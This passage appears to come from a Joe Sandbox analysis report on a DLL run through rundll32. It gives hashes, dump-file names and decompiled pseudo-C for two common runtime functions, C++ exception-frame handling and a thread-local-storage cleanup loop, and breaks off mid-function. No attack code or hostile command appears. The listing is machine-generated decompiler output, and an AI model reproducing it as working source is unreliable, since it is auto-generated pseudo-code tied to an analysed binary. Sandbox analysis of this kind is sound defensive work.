Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: 593e5113d7dcb59509def2b2525caf044c2652cd98f5c309d5a779eea29c5f26
Instruction ID: 5421c7d98c246aaa05cbf47f57171f77e5f099882255b4d7a932b8118ab022ae
Opcode Fuzzy Hash: 593e5113d7dcb59509def2b2525caf044c2652cd98f5c309d5a779eea29c5f26
Instruction Fuzzy Hash: 490224B4A00219DFDB10CFE4C854B9EBBB9BF49318F208919D415AF380D775A986CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0F6F6, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E6EA0F6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EA10658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EA11C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EA0F3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EA0F3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EA0EBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EA0EB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EA0F676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EA11C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EA0F3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6EA0F3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EA0F3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EA0F3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EA0EB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EA0F676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6EA0F131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EA0F3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6EA10105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EA0F3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EA0F3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EA0F3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EA0F3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6EA10105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EA11BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EA0FD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6ea4e0c0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6EA0F131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EA0FD81( &_v64);
											E6EA0E95C( &_v64, 0x6ea4b17c);
											L63:
											 *(E6EA0F3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EA0F3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EA0ED1D(_t279, _t319, _t274);
											E6EA10005(_a8, _a16, _t305);
											_t235 = E6EA101C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EA0FF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6ea0f6f6
0x6ea0f6fd
0x6ea0f6ff
0x6ea0f708
0x6ea0f70e
0x6ea0f716
0x6ea0f718
0x6ea0f71b
0x6ea0f721
0x6ea0fa9a
0x6ea0fa9a
0x6ea0fa9f
0x6ea0faa1
0x6ea0faa3
0x6ea0faa6
0x6ea0faa7
0x6ea0faaa
0x6ea0fab0
0x6ea0fbcf
0x6ea0fab6
0x6ea0fab6
0x6ea0fab7
0x6ea0fab8
0x6ea0fabf
0x6ea0fac2
0x6ea0fac5
0x6ea0facb
0x6ea0facd
0x6ea0fad2
0x6ea0fad5
0x6ea0fad7
0x6ea0fadd
0x6ea0fadf
0x6ea0fae5
0x6ea0fafa
0x6ea0faff
0x6ea0fb02
0x6ea0fb04
0x6ea0fbcb
0x00000000
0x6ea0fbcc
0x6ea0fb04
0x6ea0fae5
0x6ea0fadd
0x6ea0fad5
0x6ea0fb0a
0x6ea0fb0d
0x6ea0fb10
0x6ea0fb13
0x6ea0fb16
0x6ea0fb1c
0x6ea0fb2e
0x6ea0fb33
0x6ea0fb36
0x6ea0fb39
0x6ea0fb3c
0x6ea0fb3f
0x6ea0fb42
0x6ea0fb45
0x00000000
0x00000000
0x6ea0fb4b
0x6ea0fb4b
0x6ea0fb4e
0x6ea0fb51
0x6ea0fb60
0x6ea0fb61
0x6ea0fb61
0x6ea0fb63
0x6ea0fb66
0x00000000
0x00000000
0x6ea0fb68
0x6ea0fb6b
0x00000000
0x00000000
0x6ea0fb79
0x6ea0fb7b
0x6ea0fb7e
0x6ea0fb80
0x6ea0fb88
0x6ea0fb88
0x6ea0fb8b
0x6ea0fb8d
0x6ea0fb8f
0x6ea0fbab
0x6ea0fbb0
0x6ea0fbb3
0x6ea0fbb3
0x00000000
0x6ea0fb8b
0x6ea0fb82
0x6ea0fb86
0x00000000
0x00000000
0x00000000
0x6ea0fbb6
0x6ea0fbb9
0x6ea0fbba
0x6ea0fbbd
0x6ea0fbc0
0x6ea0fbc3
0x6ea0fbc6
0x6ea0fbc6
0x00000000
0x6ea0fb51
0x6ea0fbd0
0x6ea0fbd5
0x6ea0fbd6
0x6ea0fbd9
0x6ea0fbdc
0x6ea0fbdd
0x6ea0fbde
0x6ea0fbdf
0x6ea0fbe2
0x6ea0fbe4
0x6ea0fc5c
0x6ea0fc5e
0x6ea0fc5e
0x6ea0fbe6
0x6ea0fbe6
0x6ea0fbe9
0x6ea0fbec
0x00000000
0x6ea0fbee
0x6ea0fbee
0x6ea0fbf1
0x6ea0fbf4
0x6ea0fbfb
0x6ea0fbfb
0x6ea0fbfe
0x6ea0fc00
0x6ea0fc02
0x6ea0fc34
0x6ea0fc34
0x6ea0fc37
0x6ea0fc3e
0x6ea0fc3e
0x6ea0fc41
0x6ea0fc44
0x6ea0fc4b
0x6ea0fc4b
0x6ea0fc4e
0x6ea0fc55
0x6ea0fc57
0x6ea0fc57
0x6ea0fc50
0x6ea0fc50
0x6ea0fc53
0x00000000
0x00000000
0x6ea0fc53
0x6ea0fc46
0x6ea0fc46
0x6ea0fc49
0x00000000
0x00000000
0x6ea0fc49
0x6ea0fc39
0x6ea0fc39
0x6ea0fc3c
0x00000000
0x00000000
0x6ea0fc3c
0x6ea0fc58
0x6ea0fc04
0x6ea0fc04
0x6ea0fc04
0x6ea0fc07
0x6ea0fc07
0x6ea0fc09
0x6ea0fc0b
0x00000000
0x00000000
0x6ea0fc0d
0x6ea0fc0f
0x6ea0fc23
0x6ea0fc23
0x6ea0fc11
0x6ea0fc11
0x6ea0fc14
0x6ea0fc17
0x00000000
0x6ea0fc19
0x6ea0fc19
0x6ea0fc1c
0x6ea0fc1f
0x6ea0fc21
0x00000000
0x00000000
0x00000000
0x00000000
0x6ea0fc21
0x6ea0fc17
0x6ea0fc2c
0x6ea0fc2c
0x6ea0fc2e
0x00000000
0x6ea0fc30
0x6ea0fc30
0x6ea0fc30
0x00000000
0x6ea0fc2e
0x6ea0fc27
0x6ea0fc29
0x6ea0fc29
0x00000000
0x6ea0fc29
0x6ea0fbf6
0x6ea0fbf6
0x6ea0fbf9
0x00000000
0x00000000
0x00000000
0x00000000
0x6ea0fbf9
0x6ea0fbf4
0x6ea0fbec
0x6ea0fc5f
0x6ea0fc63
0x6ea0fc63
0x6ea0f730
0x6ea0f730
0x6ea0f739
0x6ea0f836
0x6ea0f836
0x6ea0f839
0x00000000
0x6ea0f768
0x6ea0f768
0x6ea0f76d
0x00000000
0x6ea0f773
0x6ea0f773
0x6ea0f77b
0x6ea0fa34
0x6ea0fa38
0x6ea0f781
0x6ea0f786
0x6ea0f789
0x6ea0f78e
0x6ea0f795
0x6ea0f79a
0x00000000
0x6ea0f7d2
0x6ea0f7da
0x6ea0f83e
0x6ea0f83e
0x6ea0f841
0x6ea0f844
0x6ea0f846
0x6ea0f849
0x6ea0f84c
0x6ea0f852
0x6ea0fa03
0x6ea0fa03
0x6ea0fa06
0x00000000
0x6ea0fa08
0x6ea0fa08
0x6ea0fa0b
0x00000000
0x6ea0fa11
0x6ea0fa11
0x6ea0fa14
0x6ea0fa17
0x6ea0fa18
0x6ea0fa19
0x6ea0fa1c
0x6ea0fa1d
0x6ea0fa20
0x6ea0fa21
0x6ea0fa26
0x00000000
0x6ea0fa26
0x6ea0fa0b
0x6ea0f858
0x6ea0f858
0x6ea0f85c
0x00000000
0x6ea0f862
0x6ea0f862
0x6ea0f869
0x6ea0f881
0x6ea0f881
0x6ea0f884
0x6ea0f887
0x6ea0f88d
0x6ea0f89d
0x6ea0f8a2
0x6ea0f8a5
0x6ea0f8a8
0x6ea0f8ab
0x6ea0f8ae
0x6ea0f8b1
0x6ea0f8b4
0x6ea0f8ba
0x6ea0f8ba
0x6ea0f8bd
0x6ea0f8c0
0x6ea0f8cf
0x6ea0f8d0
0x6ea0f8d0
0x6ea0f8d2
0x6ea0f8d5
0x6ea0f8db
0x6ea0f8de
0x6ea0f8e4
0x6ea0f8e6
0x6ea0f8e9
0x6ea0f8ec
0x6ea0f8f5
0x6ea0f8f8
0x6ea0f8fa
0x6ea0f8fa
0x6ea0f8fd
0x6ea0f900
0x6ea0f903
0x6ea0f906
0x6ea0f909
0x6ea0f90e
0x6ea0f90f
0x6ea0f910
0x6ea0f911
0x6ea0f912
0x6ea0f915
0x6ea0f917
0x6ea0f919
0x00000000
0x6ea0f91b
0x6ea0f91b
0x6ea0f91b
0x6ea0f91e
0x6ea0f921
0x6ea0f923
0x6ea0f924
0x6ea0f929
0x6ea0f92c
0x6ea0f92e
0x00000000
0x00000000
0x6ea0f930
0x6ea0f931
0x6ea0f934
0x6ea0f936
0x00000000
0x6ea0f938
0x6ea0f938
0x6ea0f93b
0x6ea0f93e
0x00000000
0x6ea0f93e
0x00000000
0x6ea0f936
0x6ea0f952
0x6ea0f958
0x6ea0f975
0x6ea0f97a
0x6ea0f97a
0x6ea0f97d
0x6ea0f97d
0x00000000
0x6ea0f941
0x6ea0f941
0x6ea0f942
0x6ea0f945
0x6ea0f948
0x6ea0f94b
0x6ea0f94b
0x00000000
0x6ea0f950
0x6ea0f8ec
0x6ea0f8de
0x6ea0f980
0x6ea0f983
0x6ea0f984
0x6ea0f987
0x6ea0f98a
0x6ea0f98d
0x6ea0f990
0x6ea0f990
0x6ea0f999
0x6ea0f99c
0x6ea0f99c
0x6ea0f8b4
0x6ea0f99f
0x6ea0f9a3
0x6ea0f9a5
0x6ea0f9a8
0x6ea0f9ae
0x6ea0f9ae
0x6ea0f9b6
0x6ea0f9bb
0x6ea0fa29
0x6ea0fa29
0x6ea0fa2e
0x6ea0fa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6ea0f9bd
0x6ea0f9bd
0x6ea0f9c1
0x6ea0f9d3
0x6ea0f9d6
0x6ea0f9d9
0x6ea0f9db
0x6ea0f9f2
0x6ea0f9f6
0x6ea0f9fc
0x6ea0f9fd
0x6ea0f9ff
0x00000000
0x6ea0fa01
0x00000000
0x6ea0fa01
0x6ea0f9dd
0x6ea0f9e2
0x6ea0f9e5
0x6ea0f9ea
0x6ea0f9ed
0x00000000
0x6ea0f9ed
0x6ea0f9c3
0x6ea0f9c6
0x6ea0f9c9
0x6ea0f9cb
0x00000000
0x6ea0f9cd
0x6ea0f9cd
0x6ea0f9d1
0x00000000
0x00000000
0x00000000
0x00000000
0x6ea0f9d1
0x6ea0f9cb
0x6ea0f9c1
0x6ea0f86b
0x6ea0f86b
0x6ea0f872
0x00000000
0x6ea0f874
0x6ea0f874
0x6ea0f87b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ea0f87b
0x6ea0f872
0x6ea0f869
0x6ea0f85c
0x6ea0f7dc
0x6ea0f7e4
0x6ea0f7e7
0x6ea0f7ec
0x6ea0f7f0
0x6ea0f7f3
0x6ea0f7f9
0x6ea0f7fc
0x00000000
0x6ea0f7fe
0x6ea0f7fe
0x6ea0f801
0x6ea0f803
0x6ea0fa39
0x6ea0fa39
0x00000000
0x6ea0f809
0x6ea0f811
0x6ea0f81c
0x00000000
0x00000000
0x6ea0f825
0x6ea0f828
0x6ea0f829
0x6ea0f82c
0x6ea0f82e
0x00000000
0x6ea0f834
0x00000000
0x6ea0f834
0x00000000
0x6ea0f82e
0x6ea0f809
0x6ea0fa3e
0x6ea0fa3e
0x6ea0fa40
0x6ea0fa41
0x6ea0fa48
0x6ea0fa4b
0x6ea0fa59
0x6ea0fa5e
0x6ea0fa63
0x6ea0fa66
0x6ea0fa6b
0x6ea0fa6e
0x6ea0fa71
0x6ea0fa73
0x6ea0fa75
0x6ea0fa75
0x6ea0fa7a
0x6ea0fa86
0x6ea0fa8c
0x6ea0fa91
0x6ea0fa94
0x6ea0fa95
0x00000000
0x6ea0fa95
0x6ea0f7fc
0x6ea0f7da
0x6ea0f79a
0x6ea0f77b
0x6ea0f76d
0x6ea0f739

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EA0F7F3
type_info::operator==.LIBVCRUNTIME ref: 6EA0F815
___TypeMatch.LIBVCRUNTIME ref: 6EA0F924
IsInExceptionSpec.LIBVCRUNTIME ref: 6EA0F9F6
_UnwindNestedFrames.LIBCMT ref: 6EA0FA7A
CallUnexpected.LIBVCRUNTIME ref: 6EA0FA95

Strings

csm, xrefs: 6EA0F84C
csm, xrefs: 6EA0F7A0
csm, xrefs: 6EA0F733

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 0c4a22635b774abd174988d8dcda3c449e765b9ba97fe460ed9f9f0e389ba3e1
Instruction ID: 669328390e800f661949c34de73febf38ed44acffea1365749ea304ba0595ecc
Opcode Fuzzy Hash: 0c4a22635b774abd174988d8dcda3c449e765b9ba97fe460ed9f9f0e389ba3e1
Instruction Fuzzy Hash: EDB14A7980420AEFCF45CFE4E99099EB7B9BF04318B28455EE8107B215D335D992CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC340, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6E9FC340() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6ea4e12c; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6ea4e12c; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6ea4e12c; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
